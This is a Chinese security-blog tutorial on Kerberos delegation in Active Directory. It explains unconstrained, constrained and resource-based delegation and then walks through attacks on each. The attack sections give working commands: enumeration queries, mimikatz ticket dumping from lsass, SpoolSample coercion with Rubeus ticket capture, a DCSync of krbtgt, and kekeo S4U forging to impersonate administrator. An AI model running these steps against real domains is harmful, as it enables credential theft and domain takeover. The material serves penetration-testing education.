点击蓝字关注我哦
前言
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。
委派主要分为非约束委派 (Unconstrained delegation)和约束委派 Constrained delegation)与基于资源的约束委派 (Resource Based Constrained Delegation)
建议多看几篇流程,思路理清楚。
kerberors协议认证请求流程:
-
1.客户端将用户ID的明文消息发送给AS(请求认证)
-
2.AS检查客户端是否在其数据库中,在就会拿出相应用户id对应的hash来当作加密密钥。
-
内容1:
使用用户id对应的hash作为密钥加密的会话密钥(session key)
-
内容2:
使用KdrTGT 用户的hash作为密钥加密的TGT(TGT中包括用户id,客户端网络地址,票据有效信息和会话密钥(session key)
-
3.客户端接收内容1和内容2,使用用户输入的密码生成hash,当作解密密钥来解密内容1的内容,拿到会话密钥(session key),然后生成下面两种内容信息发送给TGS
-
内容1:
使用KdrTGT 用户的hash作为密钥加密的TGT,以及要访问的服务id
-
内容2:
使用会话密钥(session key)加密的身份验证器(由客户端ID和时间戳组成)
-
4.TGS收到内容1和内容2,KdrTGT 用户的hash来解密TGT,拿到了(TGT)客户端id,会话密钥,再使用会话密钥解密内容2,得到(身份验证器)客户端id,然后比对两个客户端id是否一致,一致则通过认证,然后就用内容1中的服务id来找到对应的hash来作为密钥,返回给客户端两众内容:
-
内容1:
服务id对应的hash加密的客户端到服务器票证(ST)(包括客户端ID,客户端网络地址,有效期和客户端/服务器会话密钥)
-
内容2:使用会话密钥(session key)加密的客户端/服务器会话密钥
-
5.客户端收到内容1和内容2后,使用会话密钥(session key)解密内容2获得客户端/服务器会话密钥,然后发送两种内容给要访问的服务器(之前请求的服务id对应的服务)
-
内容1:
服务id对应的hash加密的客户端到服务器票证(包括客户端ID,客户端网络地址,有效期和客户端/服务器会话密钥)(上一个步骤的内容1)
-
内容2:
使用客户端/服务器会话密钥加密的一个新的身份验证器(其中包括客户端ID,时间戳记)
-
6.被请求的服务ss 拿到内容1和内容2,使用自己hash来作为密钥,来解密内容1,拿到客户端/服务器会话密钥和客户端ID,继续把拿到客户端/服务器会话密钥来解密内容2,获(新的身份验证器)得客户端ID,如果一致,就会返回内容给客户端,来表示回应。
-
内容1:
客户端/服务器会话密钥来加密的从内容2解密出来的时间戳
-
7.客户端使用*客户端/服务器会话密钥*解密确认(消息H),如果时间戳是否正确,则客户端可以信任服务器并可以开始向服务器发出服务请求
-
8.服务端响应请求。
非约束委派
原理:
当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中已备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能够访问的服务)了
配置了非约束委派的账户的userAccountControl 属性有个FLAG位 TRUSTED_FOR_DELEGATION,且非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员
上图的kerberos请求描述分为如下步骤:
-
#前提建立在用户已经完成了身份认证
-
1.用户向KDC发送KRB_AS_REQ消息请求的TGT1。
-
2.KDC在KRB_AS_REP消息中返回TGT1。
-
3.用户根据步骤2中的TGT1请求可转发TGT2。
-
4.KDC在KRB_TGS_REP消息中为user返回TGT2。
-
5.用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)
-
6.TGS在KRB_TGS_REP消息中返回给用户service1的ST。
-
7.用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey
-
8.service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。
-
9.KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。
-
10.service1通过KRB_AP_REQ以用户的名义向service2发出请求。
-
11.service2响应service1的请求。
-
12.有了这个响应,service1就可以在步骤7中响应用户的请求。
-
13.这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。
-
14.KDC返回步骤13中请求的ST
-
15.15和16 步骤service1以用户的名义来请求其它服务
简要概括一下:
准备阶段:首先用户向KDC发送两次请求,第一次请求可转发的TGT1,第二次请求依据TGT1的可转发TGT2,然后KDC给用户TGT1和TGT2,然后用户使用TGT1向KDC请求Server1的ST,KDC返回给用户Server1的ST,然后用户发送消息给Server1,里面包含了ST,TGT1,TGT2以及Sessionkey。
开始代表用户去获得访问Server2的ST:然后server1拿TGT2向KDC请求Server2的ST,以用户的名义。KDC返回给Service2到Service1的ST,以及Service1可以使用的Sessionkey。(ST将客户端标识为用户,而不是Service1)
然后就拿着访问server2的st,去访问S2,S2返回给内容S1,S1再返回内容给用户
为什么要生成两个TGT,在正常的kerbors协议认证的时候只需要一个TGT?
我个人觉得是因为,第一个TGT是拿来访问Service1的,第二个TGT2是预留给服务器用的,让服务器拿着TGT2去请求KDC,获得访问Service2的ST,而第一个TGT1已经用于请求访问了Server1的ST。
攻击与利用方式
查找域内配置非约束委派的主机和用户:
查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户
1.kali自带的:(通过Active Directory:LDAP语法过滤器)
ldapsearch
过滤条件:
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
#搜索非约束委派账户
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户名,CN=Users,DC=networksec,DC=loacl" -w 域用户密码. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#搜索非约束委派主机
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户名,CN=Users,DC=networksec,DC=loacl" -w 域用户密码. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机,而userAccountControl:1.2.840.113556.1.4.803:=524288 则是标识可信任的委派帐户(不受约束的委派)
2.ADFind
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派的主机:
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
3.PowerView
#查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain networksec |select name
#查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain networksec
#查询域中配置非约束委派的主机(另外一个版本的powerview):
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize
攻击与利用:
因为从上面可以得知,如果一个service的服务账号开启了unconstrained delegation,那么任何访问域用户成员都会把自己的TGT发送给它,并被保存在service机器内存中以备下次重用(lsass),如果我们拿到了这台机器,就可以导出用户的TGT,那么我们就可以利用这个TGT访问能访问到的任何服务,如果是域管理员用户,那就可以为所欲为。
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
根据原理,我们可以诱导管理员访问我们开启了unconstrained delegation服务主机,那么我们就可以拿到域管理员的TGT了。
具体方式:
横向到一台开启了unconstrained delegation服务主机,用mimikatz导出TGT(管理员权限)
privilege::debug
sekurlsa::tickets /export
导入指定票据到当前会话
kerberos::ptt 票据名称
还有一种方式是直接提升成域管理员:
1.这是需要配合域控上的打印机服务,值得注意的事Print Spooler服务默认是自动运行的
2.还得是一台主机账户并且开启了非约束委派域内机器的权限 #注:是主机账户开启非约束委派,而不是服务用户
tifkin_开源了它的poc
https://github.com/shanfenglan/test/tree/master/spooler
1.向DC的Spooler服务发送请求,强制其访问USER进行身份验证
SpoolSample.exe DC USER
2.用本地的管理员账号打开一个cmd,直接运行命令(如果不用高权限运行的话会报错)
Rubeus.exe monitor /interval:5 /filteruser:DC$
kekeo
/interval:5 设置监听间隔5秒
/filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
这样可以第一时间截取到域控的TGT
3.利用Rubeus将base64编码的票据直接注入到内存中
Rubeus.exe describe /ticket:base64
Rubeus.exe ptt /ticket:base64
4.DCsync攻击域控:
mimikatz.exe "lsadump::dcsync /domain:networksec.loacl /user:DCkrbtgt"
约束委派
原理
由于非约束委派的不安全性,微软在windows service 2003中引入了约束委派,对kerberos协议进行了扩展,引入了S4U,其中S4U支持两个子协议:S4U2Self和S4U2proxy。这两个协议可以代替任何用户从KDC请求票据,S4U2self可以代表自身请求对其自身的kerberos服务票据(ST);S4U2proxy可以以用户名义请求其他服务的ST,约束委派就限制了S4U2proxy扩展的范围。
注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程
配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员
上述请求的文字描述:
-
1.用户向service1发出请求(用户已通过身份验证)。
-
2.服务器收到了请求,通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
-
3.KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
-
4.service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
-
尽管S4U2self向服务1提供有关用户的信息,但此扩展不允许服务1代表用户发出其他服务的请求,那是S4U2proxy的作用。
-
6.用户向service1发出请求,service1需要以用户身份访问service2上的资源。
(但是,服务1没有来自用户的转发的TGT来通过转发的TGT执行委派,如指定使用转发的TGT进行Kerberos委派)
-
7.service1以用户的名义向KDC请求用户访问service2的ST2
-
8.如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
-
9.service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
-
10.service2响应请求。
-
11.service1响应用户对步骤6中的请求。
攻击与利用方式:
1.ldapsearch
ldapsearch
#查找域中配置约束委派用户
过滤条件
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
搜索命令:
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户,CN=Users,DC=networksec,DC=loacl" -w 域用户密码 -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找域中配置约束委派的主机:
过滤条件
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))
ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户,CN=Users,DC=networksec,DC=loacl" -w 域用户密码 -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
2.ADFind
#查找用户
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
3.PowerView
#查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -domain 域名全称 -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
#查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain 域名全称 -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
攻击与原理:
服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST。
这里就要用到一个工具kekeo
1.首先查询域内配置了约束性委派的服务账号
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
2.用kekeo请求该用户的TGT,如果我们拿到了服务用户的明文密码或者NTLM Hash
tgt::ask /user:域用户名 /domain:networksec /password:1111 /ticket:wptgt.kirbi
tgt::ask /user:域用户名 /domain:networksec /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi
3.得到用户TGT的服务使用伪造s4u2self请求和s4u2proxy以administrator用户身份请求访问
Tgs::s4u /tgt:tgt票据名称 /user:administrator@networksec /service:访问服务名称 /user.networksec
4.将S4U2Self获取到的ST1以及S4U2Proxy获取到的访问服务的ST2保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt st2名称
当然如果我们获得了服务账号所在主机的权限,那么,我们可以利用mimikatz从内存中将票据导出来。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
这里已经把票据请求出来了,就不用再去ask请求TGT票据了
3.基于资源的委派:
Kerberos委派虽然有用,但本质上是不安全的,因为对于可以通过模拟帐户可以访问哪些服务没有任何限制,那么模拟帐户可以在模拟帐户的上下文中访问多个服务,而不仅仅是特定服务器上的指定服务。而且为了配置受约束的委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员,为了使用户/资源更加独立。
基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。
基于资源的约束委派,顾名思义,现在是要被访问的资源来决定我信任谁,而不是模拟账户本身
传统的约束委派:在ServiceA的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceB的信任关系,定义了到ServiceB的传出委派信任。
资源约束委派:在ServiceB的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceA的信任关系,定义了从ServiceA的传入信任关系。
而重要的一点在于,资源本身可以为自己配置资源委派信任关系,资源本身决定可以信任谁,该信任谁。
1.用户进行kerberors认证拿到了TGT
2.然后用户向server1发送委派服务请求,服务1 代表用户申请一个获得针对服务1自身的kerberos服务票据(这一步就就和传统的self很像,但也有区别),拿到了不可以转发的访问服务1的TGS。
3.服务1可以使用来自用户的授权( 在S4U2SELF阶段获得的不可转发的TGS),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的可转发的TGS
利用思路:
1.我们拥有一个任意的服务账户1 或者计算机账户1
2.我们获得服务账户2 的LDAP权限
3.配置服务1对服务2的约束委派(在服务账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为服务账户1的sid)
4.发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2。
一个重要的案例:(ateam 这是一篇“不一样”的真实渗透测试案例分析文章)挺强的
注意的点:
1.system账户做Relay时是用机器账户去请求,但是我们不知道机器账户的密码或者hash,所以没办法申请TGT。
2.默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。
END
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利
本文始发于微信公众号(Gamma实验室):域内委派-原理以及应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论